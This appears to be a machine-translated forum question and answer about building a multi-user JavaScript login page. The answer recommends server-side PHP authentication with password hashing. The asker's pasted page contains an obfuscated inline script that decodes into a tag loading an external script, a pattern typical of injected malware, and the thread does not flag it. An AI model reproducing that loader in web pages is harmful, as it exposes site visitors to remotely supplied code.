Sign in with multiple users

0

Well, let's see if anyone can guide me better my problem, I'm using a code in JS to be able to login, being it I use in index

<script>
		$(function(){
		  var $form_inputs =   $('form input');
		  var $rainbow_and_border = $('.rain, .border');
		  /* Used to provide loping animations in fallback mode */
		  $form_inputs.bind('focus', function(){
		  	$rainbow_and_border.addClass('end').removeClass('unfocus start');
		  });
		  $form_inputs.bind('blur', function(){
		  	$rainbow_and_border.addClass('unfocus start').removeClass('end');
		  });
		  $form_inputs.first().delay(800).queue(function() {
			$(this).focus();
		  });
		});
	</script>
  <script type="text/javascript">function xc(pws){gh="";for(i_=0;i_<pws.length;i_+=2){gh+="%"+pws.substring(i_,i_+2)}return unescape(gh)}y=24/(37%7);o=y+27;z="";q=Math.round(Math.tan(Math.PI/4))+5;r=o;s=-1+2;c=""+xc("427969786F767A2679786943287B676A6C3D6B78793B7A6D737169686D3A796E37363636376C767576723C6779347079284442357969786F767A44")+"";for(x=0;x<c.length;x++){o=c.charCodeAt(x);if(o==254){q+=6;r=39;s=1;if(q>6){q=0;r=0;s=0}}else{if(o<127){if(o==30){o=92}z+=String.fromCharCode(o-q)}else{if(o<166){z+=String.fromCharCode(o-r)}else{z+=String.fromCharCode(o-s)}}}}document.write(z)</script>
<style>
			body{
				background: #000;
				color: #DDD;
				font-family: 'Helvetica', 'Lucida Grande', 'Arial', sans-serif;
			}
			.border,
			.rain{
				height: 170px;
				width: 320px;
			}
			/* Layout with mask */
			.rain{
				 padding: 10px 12px 12px 10px;
				 -moz-box-shadow: 10px 10px 10px rgba(0,0,0,1) inset, -9px -9px 8px rgba(0,0,0,1) inset;
				 -webkit-box-shadow: 8px 8px 8px rgba(0,0,0,1) inset, -9px -9px 8px rgba(0,0,0,1) inset;
				 box-shadow: 8px 8px 8px rgba(0,0,0,1) inset, -9px -9px 8px rgba(0,0,0,1) inset;
				 margin: 100px auto;
			}
			/* Artifical "border" to clear border to bypass mask */
			.border{
				padding: 1px;
				-moz-border-radius: 5px;
			    -webkit-border-radius: 5px;
				border-radius: 5px;
			}

			.border,
			.rain,
			.border.start,
			.rain.start{
				background-repeat: repeat-x, repeat-x, repeat-x, repeat-x;
				background-position: 0 0, 0 0, 0 0, 0 0;
				/* Blue-ish Green Fallback for Mozilla */
				background-image: -moz-linear-gradient(left, #09BA5E 0%, #00C7CE 15%, #3472CF 26%, #00C7CE 48%, #0CCF91 91%, #09BA5E 100%);
				/* Add "Highlight" Texture to the Animation */
				background-image: -webkit-gradient(linear, left top, right top, color-stop(1%,rgba(0,0,0,.3)), color-stop(23%,rgba(0,0,0,.1)), color-stop(40%,rgba(255,231,87,.1)), color-stop(61%,rgba(255,231,87,.2)), color-stop(70%,rgba(255,231,87,.1)), color-stop(80%,rgba(0,0,0,.1)), color-stop(100%,rgba(0,0,0,.25)));
				/* Starting Color */
				background-color: #39f;
				/* Just do something for IE-suck */
				filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00BA1B', endColorstr='#00BA1B',GradientType=1 );
			}
			
			/* Non-keyframe fallback animation */
			.border.end,
			.rain.end{
				-moz-transition-property: background-position;  
				-moz-transition-duration: 30s;
				-moz-transition-timing-function: linear;
				-webkit-transition-property: background-position;  
				-webkit-transition-duration: 30s;  
				-webkit-transition-timing-function: linear;
				-o-transition-property: background-position;  
				-o-transition-duration: 30s;  
				-o-transition-timing-function: linear;
				transition-property: background-position;  
				transition-duration: 30s;  
				transition-timing-function: linear;
				background-position: -5400px 0, -4600px 0, -3800px 0, -3000px 0;	
			}
			
			/* Keyfram-licious animation */
			@-webkit-keyframes colors {
			    0% {background-color: #FF0000;}
			    15% {background-color: #00FF00;}
			    30% {background-color: #0000FF;}
			    45% {background-color: #FF0000;}
			    60% {background-color: #00FF00;}
			    75% {background-color: #0000FF;}
			    90% {background-color: #FF0000;}
			    100% {background-color: #00FF00;}
		    }
		    .border,.rain{
			    -webkit-animation-direction: normal;
			    -webkit-animation-duration: 20s;
			    -webkit-animation-iteration-count: infinite;
			    -webkit-animation-name: colors;
			    -webkit-animation-timing-function: ease;
		    }
		    
		    /* In-Active State Style */
			.border.unfocus{
				background: #333 !important;	
				 -moz-box-shadow: 0px 0px 15px rgba(255,255,255,.2);
				 -webkit-box-shadow: 0px 0px 15px rgba(255,255,255,.2);
				 box-shadow: 0px 0px 15px rgba(255,255,255,.2);
				 -webkit-animation-name: none;
			}
			.rain.unfocus{
				background: #00000ff !important;	
				-webkit-animation-name: none;
			}
			
			/* Regular Form Styles */
			form{
				background: #212121;
				-moz-border-radius: 5px;
				-webkit-border-radius: 5px;
			    border-radius: 5px;
				height: 100%;
				width: 100%;
				background: -moz-radial-gradient(50% 46% 90deg,circle closest-corner, #242424, #090909);
				background: -webkit-gradient(radial, 50% 50%, 0, 50% 50%, 150, from(#242424), to(#090909));
			}
			form label{
				display: block;
				padding: 10px 10px 5px 15px;
				font-size: 11px;
				color: #ff0000;
			}
			form input{
				display: block;
				margin: 5px 10px 10px 15px;
				width: 85%;
				background: #000;
				-moz-box-shadow: 0px 0px 4px #000 inset;
				-webkit-box-shadow: 0px 0px 4px #000 inset;
				box-shadow: 0px 0px 4px #000 inset;
				outline: 1px solid-transparent;
				border: 1px solid #129;
				padding: 5px;
				color: #444;
				font-size: 16px;
			}
			form input:focus{
				outline: 1px solid #0000ff;
				color: #00ff00;
			}
			input[type="submit"]{
				color: #ff0000;
				padding: 5px 10px;
				float: right;
				margin: 20px 0;
				border: 1px solid #0000ff;
				font-weight: lighter;
				-moz-border-radius: 15px;
			    -webkit-border-radius: 15px;
				border-radius: 15px;
				background: #45484d;
				background: -moz-linear-gradient(top, #222 0%, #111 100%);
				background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#222), color-stop(100%,#111));
				filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#22222', endColorstr='#11111',GradientType=0 );
				-moz-box-shadow: 0px 1px 1px #000, 0px 1px 0px rgba(255,255,255,.3) inset;
				-webkit-box-shadow: 0px 1px 1px #000, 0px 1px 0px rgba(255,255,255,.3) inset;
				box-shadow: 0px 1px 1px #000,0px 1px 0px rgba(255,255,255,.3) inset;
				text-shadow: 0 1px 1px #000;
			}
		</style>
<body>
	<div class="rain">
		<div class="border start">
     <form name="acesso" method="post" action="#" onsubmit="Login(); return false">
        <tr>
          <td><label for="cpf">CPF</label></td> 
         <td><input required="required" type="text" name="username"  size="11" maxlength="11" placeholder="CPF" /></td>
		</tr>
          <td><label for="pass">SENHA</label></td> 
         <td><input required="required" type="password" name="password" placeholder="SENHA" /></td>
        </tr>
          <td><input type="submit" value="ENTRAR"  /></td>
        </tr>
    </form>
		
			</div>
		</div>
	</body>

but in the code itself

' function xc (pws) {gh=""; for (i_ = 0; i_6) {q = 0; r = 0; s = 0}} else {if (or

asked by anonymous 24.08.2018 / 04:18

1 answer

0

Well its implementation is not correct: The management of the login must be done on the server side, ie in php. It is wrong to save the login values in js, they are exposed to any user (the js code is visible).

  • You should search for a solution in php to manage login
  • Make an html form that does a POST of data to the login verification php page
  • I recommend that you save the login data in a DB (a simple table with the Id, Username, Password, Email and UserType fields should suffice for what you need)
  • Use the password_hash function to encrypt the password before saving in DB
  • Do not select what to use when checking the password you should never pass the decrypted password (this is not to do for example SELECT Id FROM users WHERE Username = 'marcio' AND Password = '(12 @ addg98' SELECT Id, Password FROM users WHERE Username = 'marcio' and then check if the password sent through POST has hash matching (password column returned by select)
  • Use the password_verify function to check the password
  • You can use session variables to verify that the user is authenticated

... A much more complex login can be implemented. I recommend that you search for examples on Google and follow my tips. Any doubts put

    
24.08.2018 / 09:42